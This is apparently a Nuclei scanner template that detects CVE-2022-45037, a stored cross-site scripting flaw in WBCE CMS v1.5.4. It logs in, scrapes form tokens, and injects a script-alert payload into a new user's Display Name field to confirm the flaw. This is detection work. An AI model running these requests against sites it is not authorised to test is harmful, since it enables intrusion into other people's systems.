101 lines
2.8 KiB
YAML
101 lines
2.8 KiB
YAML
|
id: CVE-2022-45037
|
||
|
|
||
|
info:
|
||
|
name: WBCE CMS v1.5.4 - Cross Site Scripting (Stored)
|
||
|
author: theamanrawat
|
||
|
severity: medium
|
||
|
description: |
|
||
|
A cross-site scripting (XSS) vulnerability in /admin/users/index.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Display Name field.
|
||
|
reference:
|
||
|
- https://github.com/WBCE/WBCE_CMS
|
||
|
- https://shimo.im/docs/dPkpKPQEjXfvYoqO/read
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-45037
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
||
|
cvss-score: 5.4
|
||
|
cve-id: CVE-2022-45037
|
||
|
cwe-id: CWE-79
|
||
|
metadata:
|
||
|
verified: "true"
|
||
|
tags: cve,cve2022,xss,wbce,cms,authenticated
|
||
|
|
||
|
http:
|
||
|
- raw:
|
||
|
- |
|
||
|
GET /admin/login/index.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
- |
|
||
|
POST /admin/login/index.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login
|
||
|
|
||
|
- |
|
||
|
GET /admin/users/index.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
- |
|
||
|
POST /admin/users/index.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
formtoken={{formtoken}}&user_id=&username_fieldname={{username_fieldname_2}}&{{username_fieldname_2}}=test-{{randstr}}&password={{randstr}}&password2=&display_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email={{randstr}}%40gmail.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=
|
||
|
|
||
|
- |
|
||
|
GET /admin/users/ HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
cookie-reuse: true
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body_5
|
||
|
words:
|
||
|
- "<script>alert(document.domain)</script>"
|
||
|
- "SESSION_TIMEOUT"
|
||
|
condition: and
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- "text/html"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|
||
|
|
||
|
extractors:
|
||
|
- type: regex
|
||
|
name: username_fieldname
|
||
|
part: body
|
||
|
group: 1
|
||
|
regex:
|
||
|
- 'name="username_fieldname" value="(.*)"'
|
||
|
internal: true
|
||
|
|
||
|
- type: regex
|
||
|
name: password_fieldname
|
||
|
part: body
|
||
|
group: 1
|
||
|
regex:
|
||
|
- 'name="password_fieldname" value="(.*)"'
|
||
|
internal: true
|
||
|
|
||
|
- type: regex
|
||
|
name: formtoken
|
||
|
part: body
|
||
|
group: 1
|
||
|
regex:
|
||
|
- 'name="formtoken" value="(.*)"'
|
||
|
internal: true
|
||
|
|
||
|
- type: regex
|
||
|
name: username_fieldname_2
|
||
|
part: body
|
||
|
group: 1
|
||
|
regex:
|
||
|
- 'name="username_fieldname" value="(.*)"'
|
||
|
internal: true
|